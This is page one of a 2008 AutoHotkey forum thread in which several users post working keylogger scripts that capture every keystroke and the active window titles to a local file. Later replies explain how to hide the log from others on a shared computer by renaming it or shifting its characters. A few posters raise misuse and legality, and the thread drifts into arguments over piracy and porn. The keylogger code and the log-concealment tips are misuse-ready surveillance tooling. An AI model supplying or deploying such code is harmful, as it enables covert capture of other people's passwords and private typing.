AutoHotkey Homepage AutoHotkey Community
Let's help each other out
 
 FAQFAQ   SearchSearch   MemberlistMemberlist   RegisterRegister 
 ProfileProfile   Log in to check your private messagesLog in to check your private messages   Log inLog in 

Simple key stroke recorder
Goto page 1, 2  Next
 
Post new topic   Reply to topic    AutoHotkey Community Forum Index -> Scripts & Functions
View previous topic :: View next topic  
Author Message
athend
Guest





PostPosted: Fri Jun 27, 2008 6:49 am    Post subject: Simple key stroke recorder Reply with quote

hear is my keyloger it stores the name of the window that is open and all yeys pressed to a text document called keylog
Code:
;
; AutoHotkey Version: 1.x
; Language:       English
; Platform:       Win9x/NT
; Author:         A.N.Other <myemail@nowhere.com>
;
; Script Function:
;   Template script (you can customize this template by editing "ShellNew\Template.ahk" in your Windows folder)
;

#NoEnv ; Recommended for performance and compatibility with future AutoHotkey releases.
SendMode Input ; Recommended for new scripts due to its superior speed and reliability.

; Detect hidden windows since they can be active
; (e.g. AutoHotkey main window while using Menu,MenuName,Show.)
DetectHiddenWindows, On

Loop {
    WinWaitNotActive, % "ahk_id " WinActive("A")
    WinGetActiveTitle, Title
    ToolTip, %Title%
    SoundPlay, *-1

}


~a::fileappend, a, keylog.txt
   
~b::fileappend, b, keylog.txt

~c::fileappend, c, keylog.txt

~d::fileappend, d, keylog.txt

~e::fileappend, e, keylog.txt

~f::fileappend, f, keylog.txt

~g::fileappend, g, keylog.txt

~h::fileappend, h, keylog.txt

~i::fileappend, i, keylog.txt

~j::fileappend, j, keylog.txt

~k::fileappend, k, keylog.txt

~l::fileappend, l, keylog.txt

~m::fileappend, m, keylog.txt

~n::fileappend, n, keylog.txt

~o::fileappend, o, keylog.txt

~p::fileappend, p, keylog.txt

~q::fileappend, q, keylog.txt

~r::fileappend, r, keylog.txt

~s::fileappend, s, keylog.txt

~t::fileappend, t, keylog.txt

~u::fileappend, u, keylog.txt

~v::fileappend, v, keylog.txt

~w::fileappend, w, keylog.txt

~x::fileappend, x, keylog.txt

~y::fileappend, y, keylog.txt

~z::fileappend, z, keylog.txt

~+A::fileappend, B, keylog.txt

~+B::fileappend, B, keylog.txt

~+C::fileappend, C, keylog.txt

~+D::fileappend, D, keylog.txt

~+E::fileappend, E, keylog.txt

~+F::fileappend, F, keylog.txt

~+G::fileappend, G, keylog.txt

~+H::fileappend, H, keylog.txt

~+I::fileappend, I, keylog.txt

~+J::fileappend, J, keylog.txt

~+K::fileappend, K, keylog.txt

~+L::fileappend, L, keylog.txt

~+M::fileappend, M, keylog.txt

~+N::fileappend, N, keylog.txt

~+O::fileappend, O, keylog.txt

~+P::fileappend, P, keylog.txt

~+Q::fileappend, Q, keylog.txt

~+R::fileappend, R, keylog.txt

~+S::fileappend, S, keylog.txt

~+T::fileappend, T, keylog.txt

~+U::fileappend, U, keylog.txt

~+V::fileappend, V, keylog.txt

~+W::fileappend, W, keylog.txt

~+X::fileappend, X, keylog.txt

~+Y::fileappend, Y, keylog.txt

~+Z::fileappend, Z, keylog.txt
   
~`::fileappend, `, keylog.txt

~!::fileappend, !, keylog.txt

~@::fileappend, @, keylog.txt

~#::fileappend, #, keylog.txt

~$::fileappend, $, keylog.txt

~^::fileappend, ^, keylog.txt

~&::fileappend, &, keylog.txt

~*::fileappend, *, keylog.txt

~(::fileappend, (, keylog.txt

~)::fileappend, ), keylog.txt

~-::fileappend, -, keylog.txt

~_::fileappend, _, keylog.txt

~=::fileappend, =, keylog.txt

~+::fileappend, +, keylog.txt

~[::fileappend, [, keylog.txt

~{::fileappend, {, keylog.txt

~]::fileappend, ], keylog.txt

~}::fileappend, }, keylog.txt

~\::fileappend, \, keylog.txt

~|::fileappend, |, keylog.txt

~;::fileappend, ;, keylog.txt

~'::fileappend, ', keylog.txt

~<::fileappend, <, keylog.txt

~.::fileappend, ., keylog.txt

~>::fileappend, >, keylog.txt

~/::fileappend, /, keylog.txt

~?::fileappend, ?, keylog.txt

~enter::fileappend, {enter}, keylog.txt

~space::fileappend, {space}, keylog.txt

~tab::fileappend, {tab}, keylog.txt

~CapsLock::fileappend, {caps}, keylog.txt

~backspace::fileappend, {<-}, keylog.txt

~1::fileappend, 1, keylog.txt

~2::fileappend, 2, keylog.txt

~3::fileappend, 3, keylog.txt

~4::fileappend, 4, keylog.txt

~5::fileappend, 5, keylog.txt

~6::fileappend, 6, keylog.txt

~7::fileappend, 7, keylog.txt

~8::fileappend, 8, keylog.txt

~9::fileappend, 9, keylog.txt

~0::fileappend, 0, keylog.txt
Back to top
shajul



Joined: 15 Sep 2006
Posts: 33
Location: India

PostPosted: Fri Jun 27, 2008 6:07 pm    Post subject: Why and why? Reply with quote

First of all, why should you make a keylogger? It has misuse potential.

If you should make one, why write so much code? It can be written much more simply by..

Code:

#Persistent
#InstallKeybdHook

oldtitle=nothing
Loop
{
  Input, UserInput, V C, {enter}.{esc}{Space}{tab}{Left}{Right}{Up}{Down}{Home}{End}
  tvar:=Errorlevel
  WinGetActiveTitle, watitle
  if (watitle != oldtitle and watitle != "")
  {
    FileAppend, `n`n-------- %watitle% --------`n, keylog.txt
    oldtitle = %watitle%
  }
  IfInString, tvar, EndKey:
  {
    StringSplit,endkey,tvar,`:
    if endkey2=Enter
      FileAppend, %UserInput%`n, keylog.txt
    else if endkey2=Space
      FileAppend, %UserInput%%A_space%, keylog.txt
    else
      FileAppend, %UserInput%%A_space%[%endkey2%]%A_space%, keylog.txt
  }
}
return
Back to top
View user's profile Send private message Yahoo Messenger
SpiderGames



Joined: 09 Jun 2008
Posts: 464
Location: Canada

PostPosted: Wed Jul 09, 2008 10:16 pm    Post subject: Reply with quote

Key Loggers are bad! Evil or Very Mad
_________________

Xfire: SpiderGames77
Back to top
View user's profile Send private message Send e-mail Visit poster's website AIM Address Yahoo Messenger MSN Messenger
shajul



Joined: 15 Sep 2006
Posts: 33
Location: India

PostPosted: Thu Jul 10, 2008 7:03 am    Post subject: Reply with quote

SpiderGames wrote:
Key Loggers are bad! Evil or Very Mad


you can run a keylogger on ur computer and never lose anything u type! install and forget kind-of backup.

if u want to generalise, nuclear energy is bad, guns are bad, knives are bad .....
Back to top
View user's profile Send private message Yahoo Messenger
GodlyMario



Joined: 02 Jul 2008
Posts: 39

PostPosted: Thu Jul 10, 2008 10:10 am    Post subject: Reply with quote

nuclear energy and knives have good use though also have aspects of danger at the same time. guns probably are bad.
keyloggers could be used correctly just for personal use, but most people dont do that.
Back to top
View user's profile Send private message
Scorge scorgegarcia@gmail
Guest





PostPosted: Fri Jul 11, 2008 1:57 am    Post subject: Reply with quote

Keyloggers are good backups for things you write in the computer, but, use it just for your own typing, other ways of using this is a privacy violation of others Wink
Back to top
Slanter



Joined: 28 May 2008
Posts: 397
Location: Minnesota, USA

PostPosted: Fri Jul 11, 2008 2:35 am    Post subject: Reply with quote

since there are already a few here, I'll post mine. It saves keystrokes as hex so you can get EVERY stroke from ascii codes 1-127 (standard set). I haven't really tested it much, but it seems to work effectively.
Code:
SetFormat, Integer, H
Loop, 0x7f
Hotkey, % "*~" . chr(A_Index), LogKey
Return
LogKey:
Key := RegExReplace(asc(SubStr(A_ThisHotkey,0)),"^0x")
FileAppend, % (StrLen(Key) == 1 ? "0" : "") . Key, Log.log
Return

_________________
Unless otherwise stated, all code is untested

(\__/) This is Bunny.
(='.'=) Cut, copy, and paste bunny onto your sig.
(")_(") Help Bunny gain World Domination.
Back to top
View user's profile Send private message Visit poster's website
RawRee



Joined: 02 Sep 2008
Posts: 19

PostPosted: Tue Sep 09, 2008 3:33 pm    Post subject: Reply with quote

Ok, fine i'll try it but how can we crypt the file received?
(So others can't check for shared computers)

Thanks
_________________
Oh shit.
Back to top
View user's profile Send private message
SpiderGames



Joined: 09 Jun 2008
Posts: 464
Location: Canada

PostPosted: Tue Sep 09, 2008 10:16 pm    Post subject: Reply with quote

Code:

fileapeend, %thelog%, something.asdt


that keeps out most people. But is to fix jus tconvert it to a txt file
_________________

Xfire: SpiderGames77
Back to top
View user's profile Send private message Send e-mail Visit poster's website AIM Address Yahoo Messenger MSN Messenger
Ian_School
Guest





PostPosted: Wed Sep 10, 2008 7:25 pm    Post subject: Reply with quote

Just use a simple loop through the file to change the ASC value of each character.

Code:
encrypt(sData) {
   Loop, Parse, sData
      r .= Chr(Asc(A_LoopField)+3)
   Return r
}

decrypt(sData) {
   Loop, Parse, sData
      r .= Chr(Asc(A_LoopField)-3)
   return r
}
Back to top
Ian_School
Guest





PostPosted: Wed Sep 10, 2008 7:26 pm    Post subject: Reply with quote

Sorry, I meant ASCII. Also, keylogging illegal in most states (for those of you in USA) even if you put it on your own computer.
Back to top
SpiderGames



Joined: 09 Jun 2008
Posts: 464
Location: Canada

PostPosted: Thu Sep 11, 2008 3:08 am    Post subject: Reply with quote

Key loggers are illeagal. So is music download. And looking at porn (Yes it is and look it up if oyu don't beleive me =P). So really they shouldn't find you if your not doing anythign too bad. But remember... Don't be an ass.
_________________

Xfire: SpiderGames77
Back to top
View user's profile Send private message Send e-mail Visit poster's website AIM Address Yahoo Messenger MSN Messenger
Ian_School
Guest





PostPosted: Thu Sep 11, 2008 6:56 pm    Post subject: Reply with quote

It's not ilegal to download music. You can pay a $0.99 USD for a song on iTunes, and it is perfectly legit. As for porn, it is also legel. There is nothing that says it isn't. If a woman so chooses to display her body in such a fasion, then display it as public knowledge, it is legal.

[Sorry for tyops--]
Back to top
SpiderGames



Joined: 09 Jun 2008
Posts: 464
Location: Canada

PostPosted: Fri Sep 12, 2008 12:28 am    Post subject: Reply with quote

Ian_School wrote:
It's not ilegal to download music. You can pay a $0.99 USD for a song on iTunes, and it is perfectly legit. As for porn, it is also legel. There is nothing that says it isn't. If a woman so chooses to display her body in such a fasion, then display it as public knowledge, it is legal.

[Sorry for tyops--]


Some places it is. Canada it isn't. As for downloading I ment not paying for it. If you pay Itunes it's fine
_________________

Xfire: SpiderGames77
Back to top
View user's profile Send private message Send e-mail Visit poster's website AIM Address Yahoo Messenger MSN Messenger
Slanter



Joined: 28 May 2008
Posts: 397
Location: Minnesota, USA

PostPosted: Fri Sep 12, 2008 2:07 am    Post subject: Reply with quote

SpiderGames wrote:
Some places it is. Canada it isn't. As for downloading I ment not paying for it. If you pay Itunes it's fine
Specifically, it's illegal to download copyrighted content without permission from the holder of that copyright (I'm pretty sure that this is illegal everywhere according to international copyright laws). There are websites out there that offer free and legal downloads of music that has been made for that purpose.
_________________
Unless otherwise stated, all code is untested

(\__/) This is Bunny.
(='.'=) Cut, copy, and paste bunny onto your sig.
(")_(") Help Bunny gain World Domination.
Back to top
View user's profile Send private message Visit poster's website
Display posts from previous:   
Post new topic   Reply to topic    AutoHotkey Community Forum Index -> Scripts & Functions All times are GMT
Goto page 1, 2  Next
Page 1 of 2

 
Jump to:  
You can post new topics in this forum
You can reply to topics in this forum


Powered by phpBB © 2001, 2005 phpBB Group